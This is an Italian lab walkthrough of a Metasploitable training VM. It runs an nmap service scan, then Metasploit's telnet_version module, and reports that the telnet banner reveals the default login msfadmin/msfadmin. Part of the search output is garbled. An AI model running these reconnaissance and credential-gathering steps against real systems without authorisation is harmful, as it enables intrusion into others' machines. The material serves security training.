

EXPLOIT TELNET

La simulazione di oggi prevede l'utilizzo del modulo ausiliario Telnet su Metasploit per poter recuperare login e password del servizio sulla macchina target Metasploitable, che nel nostro caso è all' indirizzo IP **192.168.1.149**.

Per prima cosa, come da prassi, configuriamo e testiamo le macchine controllando in primis che comunichino tra loro e poi lanciamo per scrupolo il comando per verificare che sia presente il servizio telnet sulla macchina target.

Per farlo lanciamo: ***nmap -sV -T4 192.168.1.149***

```
kali@kali: ~  
(kali@kali)-[~]  
$ nmap -sV -T4 192.168.1.149  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-12 13:33 CET  
Nmap scan report for 192.168.1.149  
Host is up (0.00026s latency).  
Not shown: 977 closed tcp ports (conn-refused)  
PORT      STATE SERVICE      VERSION  
21/tcp    open  ftp          vsftpd 2.3.4  
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)  
23/tcp    open  telnet       Linux telnetd  
25/tcp    open  smtp         Postfix smtpd  
53/tcp    open  domain       ISC BIND 9.4.2  
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)  
111/tcp   open  rpcbind      2 (RPC #100000)  
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)  
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)  
512/tcp   open  exec         netkit-rsh rshd  
513/tcp   open  login        OpenBSD or Solaris rlogind  
514/tcp   open  tcpwrapped  
1099/tcp  open  java-rmi     GNU Classpath grmiregistry  
1524/tcp  open  bindshell    Metasploitable root shell  
2049/tcp  open  nfs          2-4 (RPC #100003)  
2121/tcp  open  ftp          ProFTPD 1.3.1  
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5  
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7  
5900/tcp  open  vnc          VNC (protocol 3.3)  
6000/tcp  open  X11          (access denied)  
6667/tcp  open  irc          UnrealIRCd  
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)  
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1  
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:lin  
ux:linux_kernel  
  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 11.44 seconds
```

Ora che ci siamo accertati che l'ambiente di test funzioni correttamente possiamo procedere con Metasploit.

Da terminale lanciamo il comando `msfconsole` e cerchiamo l'exploit ausiliario relativo a Telenet lanciando il comando `search auxiliary telnet_version`

```
Metasploit Documentation: https://docs.metasploit.com/
msf6 > search auxiliary telnet_version
Matching Modules
=====
```

#	Name	Description	Disclosure Date	Rank	Check
0	auxiliary/scanner/telnet/lantronix_telnet_version	Lantronix Telnet Service Banner Detection	Microsoft Windows	normal	No
1	auxiliary/scanner/telnet/telnet_version	Telnet Service Banner Detection	Microsoft Windows; OSI Windows; OSI Windows; OSI Windows	normal	No

Interact with a module by name or index. For example `info 1`, `use 1` or `use auxiliary/scanner/telnet/telnet_version`

Lanciamo il comando `use` seguito dal path dell'exploit che vogliamo utilizzare, nel nostro caso l'1 e dopodichè lanciamo `show options` per vedere quali parametri sono necessari per l'avvio dell'exploit

```
msf6 > use auxiliary/scanner/telnet/telnet_version
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):
```

Name	Current Setting	Required	Description
PASSWORD		no	The password for the specified username
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	23	yes	The target port (TCP)
THREADS	1	yes	The number of concurrent threads (max one per host)
TIMEOUT	30	yes	Timeout for the Telnet probe
USERNAME		no	The username to authenticate as

View the full module info with the `info`, or `info -d` command.

Come possiamo vedere dall'immagine precedente è richiesto RHOSTS ovvero l'indirizzo ip della macchina target, andiamo ad impostarlo eseguendo il comando:

set RHOSTS 192.168.1.149 e lanciamo il comando RUN per eseguire l'exploit.

```
msf6 auxiliary(scanner/telnet/telnet_version) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
msf6 auxiliary(scanner/telnet/telnet_version) > run
```

Di seguito possiamo vederne il risultato, in particolar modo vediamo come l'exploit ci stampa in output il banner iniziale di Metasploitable dove sono presenti anche le credenziali di login, msfadmin / msfadmin evidenziate in giallo.

[illegible]